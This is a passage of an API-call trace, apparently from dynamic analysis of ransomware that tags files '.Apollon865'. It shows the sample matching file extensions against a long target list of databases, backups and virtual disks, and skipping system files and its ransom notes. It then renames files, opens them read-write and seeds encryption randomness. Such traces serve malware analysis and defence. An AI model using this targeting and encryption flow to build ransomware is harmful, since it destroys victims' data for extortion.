	[0078.268] lstrlenW (lpString="rbf") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.268] lstrlenW (lpString="rctd") returned 4
	[0078.268] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.268] lstrlenW (lpString="rod") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.268] lstrlenW (lpString="rodx") returned 4
	[0078.268] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.268] lstrlenW (lpString="rpd") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.268] lstrlenW (lpString="rsd") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.268] lstrlenW (lpString="sas7bdat") returned 8
	[0078.269] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.269] lstrlenW (lpString="sbf") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.269] lstrlenW (lpString="scx") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.269] lstrlenW (lpString="sdb") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.269] lstrlenW (lpString="sdc") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.269] lstrlenW (lpString="sdf") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.269] lstrlenW (lpString="sis") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.269] lstrlenW (lpString="spq") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.269] lstrlenW (lpString="te") returned 2
	[0078.269] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.269] lstrlenW (lpString="teacher") returned 7
	[0078.269] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.269] lstrlenW (lpString="tmd") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.269] lstrlenW (lpString="tps") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.269] lstrlenW (lpString="trc") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.269] lstrlenW (lpString="trc") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.269] lstrlenW (lpString="trm") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.269] lstrlenW (lpString="udb") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.269] lstrlenW (lpString="udl") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.269] lstrlenW (lpString="usr") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.269] lstrlenW (lpString="v12") returned 3
	[0078.269] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.270] lstrlenW (lpString="vis") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.270] lstrlenW (lpString="vpd") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.270] lstrlenW (lpString="vvv") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.270] lstrlenW (lpString="wdb") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.270] lstrlenW (lpString="wmdb") returned 4
	[0078.270] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.270] lstrlenW (lpString="wrk") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.270] lstrlenW (lpString="xdb") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.270] lstrlenW (lpString="xld") returned 3
	[0078.270] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.270] lstrlenW (lpString="xmlff") returned 5
	[0078.270] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.270] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Apollon865") returned 74
	[0078.270] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.271] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0078.271] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=380) returned 1
	[0078.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfb40
	[0078.272] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfc50) returned 1
	[0078.272] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.272] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.272] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x15c
	[0078.302] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000
	[0078.323] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfbc8) returned 1
	[0078.324] CryptGenRandom (in: hProv=0x5bfbc8, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.324] CryptReleaseContext (hProv=0x5bfbc8, dwFlags=0x0) returned 1
	[0078.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.325] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.326] CloseHandle (hObject=0x15c) returned 1
	[0078.326] CloseHandle (hObject=0x100) returned 1
	[0078.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0078.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.326] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="..") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="windows") returned -1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="temp") returned -1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="boot") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.326] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.326] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0078.326] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 63
	[0078.326] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSACCESS.14.1033.hxn" | out: lpString1="MS.MSACCESS.14.1033.hxn") returned="MS.MSACCESS.14.1033.hxn"
	[0078.326] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0078.327] lstrlenW (lpString="Apollon865") returned 10
	[0078.327] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.327] lstrlenW (lpString=".dll") returned 4
	[0078.327] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".dll") returned 1
	[0078.327] lstrlenW (lpString=".lnk") returned 4
	[0078.327] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.327] lstrlenW (lpString=".ini") returned 4
	[0078.327] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".ini") returned 1
	[0078.327] lstrlenW (lpString=".sys") returned 4
	[0078.327] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".sys") returned 1
	[0078.327] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0078.327] lstrlenW (lpString="bak") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.327] lstrlenW (lpString="ba_") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.327] lstrlenW (lpString="dbb") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.327] lstrlenW (lpString="vmdk") returned 4
	[0078.327] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.327] lstrlenW (lpString="rar") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.327] lstrlenW (lpString="zip") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.327] lstrlenW (lpString="tgz") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.327] lstrlenW (lpString="vbox") returned 4
	[0078.327] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.327] lstrlenW (lpString="vdi") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.327] lstrlenW (lpString="vhd") returned 3
	[0078.327] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.327] lstrlenW (lpString="vhdx") returned 4
	[0078.327] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.327] lstrlenW (lpString="avhd") returned 4
	[0078.327] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.327] lstrlenW (lpString="db") returned 2
	[0078.327] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.328] lstrlenW (lpString="db2") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.328] lstrlenW (lpString="db3") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.328] lstrlenW (lpString="dbf") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.328] lstrlenW (lpString="mdf") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.328] lstrlenW (lpString="mdb") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.328] lstrlenW (lpString="sql") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.328] lstrlenW (lpString="sqlite") returned 6
	[0078.328] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.328] lstrlenW (lpString="sqlite3") returned 7
	[0078.328] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.328] lstrlenW (lpString="sqlitedb") returned 8
	[0078.328] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.328] lstrlenW (lpString="xml") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.328] lstrlenW (lpString="$er") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.328] lstrlenW (lpString="4dd") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.328] lstrlenW (lpString="4dl") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.328] lstrlenW (lpString="^^^") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.328] lstrlenW (lpString="abs") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.328] lstrlenW (lpString="abx") returned 3
	[0078.328] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.329] lstrlenW (lpString="accdb") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.329] lstrlenW (lpString="accdc") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.329] lstrlenW (lpString="accde") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.329] lstrlenW (lpString="accdr") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.329] lstrlenW (lpString="accdt") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.329] lstrlenW (lpString="accdw") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.329] lstrlenW (lpString="accft") returned 5
	[0078.329] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.329] lstrlenW (lpString="adb") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.329] lstrlenW (lpString="adb") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.329] lstrlenW (lpString="ade") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.329] lstrlenW (lpString="adf") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.329] lstrlenW (lpString="adn") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.329] lstrlenW (lpString="adp") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.329] lstrlenW (lpString="alf") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.329] lstrlenW (lpString="ask") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.329] lstrlenW (lpString="btr") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.329] lstrlenW (lpString="cat") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.329] lstrlenW (lpString="cdb") returned 3
	[0078.329] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.329] lstrlenW (lpString="ckp") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.330] lstrlenW (lpString="cma") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.330] lstrlenW (lpString="cpd") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.330] lstrlenW (lpString="dacpac") returned 6
	[0078.330] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.330] lstrlenW (lpString="dad") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.330] lstrlenW (lpString="dadiagrams") returned 10
	[0078.330] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.330] lstrlenW (lpString="daschema") returned 8
	[0078.330] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.330] lstrlenW (lpString="db-journal") returned 10
	[0078.330] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.330] lstrlenW (lpString="db-shm") returned 6
	[0078.330] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.330] lstrlenW (lpString="db-wal") returned 6
	[0078.330] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.330] lstrlenW (lpString="dbc") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.330] lstrlenW (lpString="dbs") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.330] lstrlenW (lpString="dbt") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.330] lstrlenW (lpString="dbv") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.330] lstrlenW (lpString="dbx") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.330] lstrlenW (lpString="dcb") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.330] lstrlenW (lpString="dct") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.330] lstrlenW (lpString="dcx") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.330] lstrlenW (lpString="ddl") returned 3
	[0078.330] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.331] lstrlenW (lpString="dlis") returned 4
	[0078.331] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.331] lstrlenW (lpString="dp1") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.331] lstrlenW (lpString="dqy") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.331] lstrlenW (lpString="dsk") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.331] lstrlenW (lpString="dsn") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.331] lstrlenW (lpString="dtsx") returned 4
	[0078.331] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.331] lstrlenW (lpString="dxl") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.331] lstrlenW (lpString="eco") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.331] lstrlenW (lpString="ecx") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.331] lstrlenW (lpString="edb") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.331] lstrlenW (lpString="epim") returned 4
	[0078.331] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.331] lstrlenW (lpString="fcd") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.331] lstrlenW (lpString="fdb") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.331] lstrlenW (lpString="fic") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.331] lstrlenW (lpString="flexolibrary") returned 12
	[0078.331] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.331] lstrlenW (lpString="fm5") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.331] lstrlenW (lpString="fmp") returned 3
	[0078.331] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.331] lstrlenW (lpString="fmp12") returned 5
	[0078.331] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.331] lstrlenW (lpString="fmpsl") returned 5
	[0078.332] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.332] lstrlenW (lpString="fol") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.332] lstrlenW (lpString="fp3") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.332] lstrlenW (lpString="fp4") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.332] lstrlenW (lpString="fp5") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.332] lstrlenW (lpString="fp7") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.332] lstrlenW (lpString="fpt") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.332] lstrlenW (lpString="frm") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.332] lstrlenW (lpString="gdb") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.332] lstrlenW (lpString="gdb") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.332] lstrlenW (lpString="grdb") returned 4
	[0078.332] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.332] lstrlenW (lpString="gwi") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.332] lstrlenW (lpString="hdb") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.332] lstrlenW (lpString="his") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.332] lstrlenW (lpString="ib") returned 2
	[0078.332] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.332] lstrlenW (lpString="idb") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.332] lstrlenW (lpString="ihx") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.332] lstrlenW (lpString="itdb") returned 4
	[0078.332] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.332] lstrlenW (lpString="itw") returned 3
	[0078.332] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.333] lstrlenW (lpString="jet") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.333] lstrlenW (lpString="jtx") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.333] lstrlenW (lpString="kdb") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.333] lstrlenW (lpString="kexi") returned 4
	[0078.333] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.333] lstrlenW (lpString="kexic") returned 5
	[0078.333] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.333] lstrlenW (lpString="kexis") returned 5
	[0078.333] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.333] lstrlenW (lpString="lgc") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.333] lstrlenW (lpString="lwx") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.333] lstrlenW (lpString="maf") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.333] lstrlenW (lpString="maq") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.333] lstrlenW (lpString="mar") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.333] lstrlenW (lpString="marshal") returned 7
	[0078.333] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.333] lstrlenW (lpString="mas") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.333] lstrlenW (lpString="mav") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.333] lstrlenW (lpString="maw") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.333] lstrlenW (lpString="mdbhtml") returned 7
	[0078.333] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.333] lstrlenW (lpString="mdn") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.333] lstrlenW (lpString="mdt") returned 3
	[0078.333] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.334] lstrlenW (lpString="mfd") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.334] lstrlenW (lpString="mpd") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.334] lstrlenW (lpString="mrg") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.334] lstrlenW (lpString="mud") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.334] lstrlenW (lpString="mwb") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.334] lstrlenW (lpString="myd") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.334] lstrlenW (lpString="ndf") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.334] lstrlenW (lpString="nnt") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.334] lstrlenW (lpString="nrmlib") returned 6
	[0078.334] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.334] lstrlenW (lpString="ns2") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
